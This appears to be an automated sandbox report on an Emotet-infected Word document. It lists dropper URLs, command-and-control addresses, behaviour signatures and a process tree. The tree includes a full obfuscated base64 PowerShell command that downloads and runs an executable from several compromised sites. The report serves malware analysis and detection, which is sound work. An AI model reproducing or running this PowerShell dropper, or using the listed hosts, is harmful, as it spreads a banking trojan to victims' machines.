Overview

overview

10

Static

static

8

U_PO_07222020EX.doc

windows7_x64

10

U_PO_07222020EX.doc

windows10_x64

10

Analysis

  • max time kernel
    102s
  • max time network
    105s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    23/07/2020, 07:35

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General

  • Target
    U_PO_07222020EX.doc
  • Size 172KB
  • Sample200723-7h4tmlkwjx
  • SHA256 34ba7f0eb9d81cee11fd5a0e3d0883f8cb603e13f2d68ad1275faf9d342885cb
  • MD5 SHA1 SHA512
Score
10/10
discoverytrojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://www.gengduyw.com/wp-admin/q2J/
  • exe.dropper

    http://crimsonrealtypoint.com/blogs/0DR9ph1g1s/
  • exe.dropper

    https://grupoitalopoblano.com/wp-includes/65s7pub/
  • exe.dropper

    http://banhangsivn.com/b9m0wc/umCqARlQb/
  • exe.dropper

    http://arnoldscreekps.vic.edu.au/slam/j905/

Extracted

Family

  • emotet

C2

  • 94.49.254.194:80

  • 212.51.142.238:8080

  • 91.231.166.124:8080

  • 162.241.92.219:8080

  • 79.98.24.39:8080

  • 109.117.53.230:443

  • 78.189.165.52:8080

  • 113.160.130.116:8443

  • 121.124.124.40:7080

  • 101.187.97.173:80

  • 168.235.67.138:7080

  • 104.131.44.150:8080

  • 5.39.91.110:7080

  • 139.59.60.244:8080

  • 81.2.235.111:8080

  • 116.203.32.252:8080

  • 61.19.246.238:443

  • 176.111.60.55:8080

  • 190.55.181.54:443

  • 108.48.41.69:80

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Blacklisted process makes network request 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Office loads VBA resources, possible macro or embedded object present
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\U_PO_07222020EX.doc"
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:1408
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB0AGUAbgBsAGEAbwB5AHIAZQBpAHcAbABvAGEAZwA9ACcAdwBpAG8AcgBxAHUAYQBpAHIAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAQwBgAFUAcgBgAGkAdAB5AHAAUgBPAHQATwBDAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHEAdQBvAGkAdwBsAG8AeQB2AGEAdQBuAGIAbwB1AG4AIAA9ACAAJwAyADAANQAnADsAJABsAGUAdQBnAGgAaQBlAGYAPQAnAHAAbwBhAGIAZABhAGkAcAB2AGkAYQBsACcAOwAkAHIAaQBhAGwAbQBhAGUAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAcQB1AG8AaQB3AGwAbwB5AHYAYQB1AG4AYgBvAHUAbgArACcALgBlAHgAZQAnADsAJAB6AGkAbABxAHUAbwB1AHEAdQA9ACcAZwBlAHUAcQB1AHoAZQBvAGoAJwA7ACQAYwBhAGkAdABoAHQAaABlAGkAYwBoAGoAbwBhAHMAcQB1AG8AYQBkAD0AJgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMATABpAGUATgBUADsAJABmAGUAYQB4AHEAdQBvAHcAbgBvAHoAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGcAZQBuAGcAZAB1AHkAdwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQAyAEoALwAqAGgAdAB0AHAAOgAvAC8AYwByAGkAbQBzAG8AbgByAGUAYQBsAHQAeQBwAG8AaQBuAHQALgBjAG8AbQAvAGIAbABvAGcAcwAvADAARABSADkAcABoADEAZwAxAHMALwAqAGgAdAB0AHAAcwA6AC8ALwBnAHIAdQBwAG8AaQB0AGEAbABvAHAAbwBiAGwAYQBuAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADYANQBzADcAcAB1AGIALwAqAGgAdAB0AHAAOgAvAC8AYgBhAG4AaABhAG4AZwBzAGkAdgBuAC4AYwBvAG0ALwBiADkAbQAwAHcAYwAvAHUAbQBDAHEAQQBSAGwAUQBiAC8AKgBoAHQAdABwADoALwAvAGEAcgBuAG8AbABkAHMAYwByAGUAZQBrAHAAcwAuAHYAaQBjAC4AZQBkAHUALgBhAHUALwBzAGwAYQBtAC8AagA5ADAANQAvACcALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAYwBoAG8AZQBkAGMAbwBlAGQAPQAnAGoAdQB1AHcAYgBlAGUAagBoAGEAaQB5AHMAYQB1AGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGcAbwBhAGsAcQB1AGEAZQBqAGwAbwBhAGwAIABpAG4AIAAkAGYAZQBhAHgAcQB1AG8AdwBuAG8AegApAHsAdAByAHkAewAkAGMAYQBpAHQAaAB0AGgAZQBpAGMAaABqAG8AYQBzAHEAdQBvAGEAZAAuACIARABgAE8AVwBOAGAATABvAGAAQQBkAGYAaQBsAEUAIgAoACQAZwBvAGEAawBxAHUAYQBlAGoAbABvAGEAbAAsACAAJAByAGkAYQBsAG0AYQBlAGoAKQA7ACQAYgBpAGUAdABoAG4AZQBxAHUAeABpAHQAaAA9ACcAaABvAGUAbQBxAHUAaQBlAG4AJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJAByAGkAYQBsAG0AYQBlAGoAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADEAMQA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBlAGAAQQBgAFQAZQAiACgAJAByAGkAYQBsAG0AYQBlAGoAKQA7ACQAawB1AHUAawB2AG8AbwB2AD0AJwByAGEAdQBqAG4AbwBlAHMAawBvAG8AegAnADsAYgByAGUAYQBrADsAJABrAGEAYgB6AGEAbwBnAD0AJwByAG8AZQBrAHQAZQB1AGoAcwBvAHUAcQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAaAB1AHUAeAB2AGkAYQB5AHMAbwBvAHAAYgBvAHUAYwA9ACcAcABvAGEAYwBoAGQAbwB1AGoAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1524
  • C:\Users\Admin\205.exe
    C:\Users\Admin\205.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1608
    • C:\Windows\SysWOW64\rdpd3d\NlsData0c1a.exe
      "C:\Windows\SysWOW64\rdpd3d\NlsData0c1a.exe"
      2⤵
      • Suspicious behavior: EmotetMutantsSpam
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1940

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1408-2-0x00000000088C0000-0x00000000088C4000-memory.dmp
        Download

        memory/1408-3-0x0000000006DE0000-0x0000000006FE0000-memory.dmp
        Download

        memory/1408-4-0x000000000AE10000-0x000000000AE14000-memory.dmp
        Download

        memory/1408-5-0x000000000BE90000-0x000000000BE94000-memory.dmp
        Download

        memory/1408-6-0x0000000006DE0000-0x0000000006FE0000-memory.dmp
        Download

        memory/1608-8-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1940-12-0x00000000002B0000-0x00000000002BC000-memory.dmp
        Download

        memory/1940-13-0x0000000000400000-0x0000000000489000-memory.dmp
        Download